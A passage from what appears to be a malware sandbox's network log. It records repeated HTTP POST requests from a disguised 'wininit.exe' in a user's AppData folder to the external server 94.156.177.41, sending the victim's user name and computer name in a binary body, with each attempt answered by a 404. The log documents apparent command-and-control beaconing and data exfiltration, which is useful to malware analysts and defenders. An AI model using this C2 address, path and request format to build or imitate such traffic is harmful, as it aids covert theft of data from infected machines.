89	192.168.2.22	49252	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:42.604454041 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:42.611715078 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:43.481375933 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:43 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.22	49253	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:43.628057003 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:43.638685942 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:44.496330976 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:44 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.22	49254	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:44.667074919 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:44.672058105 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:45.552701950 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:45 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.22	49255	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:45.972708941 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:45.977790117 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:46.836325884 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:46 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.22	49256	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:47.071502924 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:47.076412916 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:47.805121899 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:47 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.22	49257	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:48.079220057 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:48.084264040 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:48.830760956 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:48 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.22	49258	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:48.971710920 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:48.976619959 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:49.845029116 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:49 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.22	49259	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:49.985842943 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:49.991080999 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:50.739392042 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:50 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.22	49260	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:50.888453960 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:50.896157980 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:51.764324903 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:51 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.22	49261	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:51.901511908 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:51.906529903 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:52.644270897 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:52 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.22	49262	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:53.839478970 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:53.992288113 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:54.860554934 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:54 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.22	49263	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:55.232420921 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:55.237642050 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:56.162249088 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.22	49264	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:56.303037882 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:56.312045097 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:57.284970045 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:56 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.22	49265	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:57.425153971 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:57.430145979 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:58.170331001 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:58 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.22	49266	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:58.392790079 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:58.398091078 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:59.122375011 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:59 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.22	49267	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:59.657531977 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:59.662600994 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:00.411623955 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:00 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.22	49268	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:00.560472012 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:10:00.565537930 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:01.322582960 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:01 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.22	49269	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:01.467992067 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:10:01.472851038 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:02.202414036 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:02 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.22	49270	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:02.336374998 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:10:02.341418982 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:03.218589067 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:03 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.22	49271	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:03.574256897 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:10:03.579344034 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:04.453927994 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:04 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.22	49272	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:04.608426094 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:10:04.613404989 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:10:05.503791094 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:10:05 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.22	49273	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:10:05.648680925 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
